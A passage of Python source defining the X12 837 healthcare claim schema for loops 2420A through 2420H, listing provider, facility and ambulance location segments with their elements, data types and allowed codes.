),
),
Segment(
"PRV",
Properties(
desc="Rendering Provider Specialty Information",
position="5050",
repeat="1",
req_sit="S",
syntax="P0203",
),
Element(
"PRV01",
Properties(
desc="Provider Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["PE"],
),
),
Element(
"PRV02",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["PXC"],
),
),
Element(
"PRV03",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"PRV04",
Properties(
desc="State or Province Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=4,
codes=[],
),
),
Composite(
"C035",
Properties(
desc="Provider Specialty Information",
refdes="",
repeat="",
req_sit="N",
seq="05",
),
),
Element(
"PRV06",
Properties(
desc="Provider Organization Code",
req_sit="N",
data_type=("ID", "3", "3"),
position=6,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Rendering Provider Secondary Identification",
position="5250",
repeat="20",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
)
parsed_837_2420B = Loop(
"2420B",
Properties(
desc="Purchased Service Provider Name",
looptype="",
position="5000",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Purchased Service Provider Name",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["QB"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Purchased Service Provider Secondary Identification",
position="5250",
repeat="20",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
)
parsed_837_2420C = Loop(
"2420C",
Properties(
desc="Service Facility Location Name",
looptype="",
position="5000",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Service Facility Location Name",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["77"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Service Facility Location Address",
position="5140",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Service Facility Location City, State, ZIP Code",
position="5200",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Service Facility Location Secondary Identification",
position="5250",
repeat="3",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
)
parsed_837_2420D = Loop(
"2420D",
Properties(
desc="Supervising Provider Name",
looptype="",
position="5000",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Supervising Provider Name",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["DQ"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Supervising Provider Secondary Identification",
position="5250",
repeat="20",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
)
parsed_837_2420E = Loop(
"2420E",
Properties(
desc="Ordering Provider Name",
looptype="",
position="5000",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Ordering Provider Name",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["DK"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Ordering Provider Address",
position="5140",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Ordering Provider City, State, ZIP Code",
position="5200",
repeat="1",
req_sit="S",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Ordering Provider Secondary Identification",
position="5250",
repeat="20",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
Segment(
"PER",
Properties(
desc="Ordering Provider Contact Information",
position="5300",
repeat="1",
req_sit="S",
syntax="P0304 P0506 P0708",
),
Element(
"PER01",
Properties(
desc="Contact Function Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["IC"],
),
),
Element(
"PER02",
Properties(
desc="Name",
req_sit="S",
data_type=("AN", "1", "60"),
position=2,
codes=[],
),
),
Element(
"PER03",
Properties(
desc="Communication Number Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=3,
codes=["EM", "FX", "TE"],
),
),
Element(
"PER04",
Properties(
desc="Communication Number",
req_sit="R",
data_type=("AN", "1", "256"),
position=4,
codes=[],
),
),
Element(
"PER05",
Properties(
desc="Communication Number Qualifier",
req_sit="S",
data_type=("ID", "2", "2"),
position=5,
codes=["EM", "EX", "FX", "TE"],
),
),
Element(
"PER06",
Properties(
desc="Communication Number",
req_sit="S",
data_type=("AN", "1", "256"),
position=6,
codes=[],
),
),
Element(
"PER07",
Properties(
desc="Communication Number Qualifier",
req_sit="S",
data_type=("ID", "2", "2"),
position=7,
codes=["EM", "EX", "FX", "TE"],
),
),
Element(
"PER08",
Properties(
desc="Communication Number",
req_sit="S",
data_type=("AN", "1", "256"),
position=8,
codes=[],
),
),
Element(
"PER09",
Properties(
desc="Contact Inquiry Reference",
req_sit="N",
data_type=("AN", "1", "20"),
position=9,
codes=[],
),
),
),
)
parsed_837_2420F = Loop(
"2420F",
Properties(
desc="Referring Provider Name",
looptype="",
position="5000",
repeat="2",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Referring Provider Name",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["DN", "P3"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="S",
data_type=("ID", "1", "2"),
position=8,
codes=["XX"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="S",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Referring Provider Secondary Identification",
position="5250",
repeat="20",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="S", seq="04"
),
Element(
"REF04-01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=0,
codes=["2U"],
),
),
Element(
"REF04-02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=1,
codes=[],
),
),
Element(
"REF04-03",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=2,
codes=[],
),
),
Element(
"REF04-04",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"REF04-05",
Properties(
desc="Reference Identification Qualifier",
req_sit="N",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"REF04-06",
Properties(
desc="Reference Identification",
req_sit="N",
data_type=("AN", "1", "50"),
position=5,
codes=[],
),
),
),
),
)
parsed_837_2420G = Loop(
"2420G",
Properties(
desc="Ambulance Pick-up Location",
looptype="",
position="5310",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Ambulance Pick-up Location",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["PW"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Ambulance Pick-up Location Address",
position="5140",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Ambulance Pick-up Location City, State, ZIP Code",
position="5200",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
)
parsed_837_2420H = Loop(
"2420H",
Properties(
desc="Ambulance Drop-off Location",
looptype="",
position="5380",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Ambulance Drop-off Location",
position="5000",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["45"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="S",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Ambulance Drop-off Location Address",
position="5140",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Ambulance Drop-off Location City, State, ZIP Code",
position="5200",
repeat="1",
req_sit="R",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
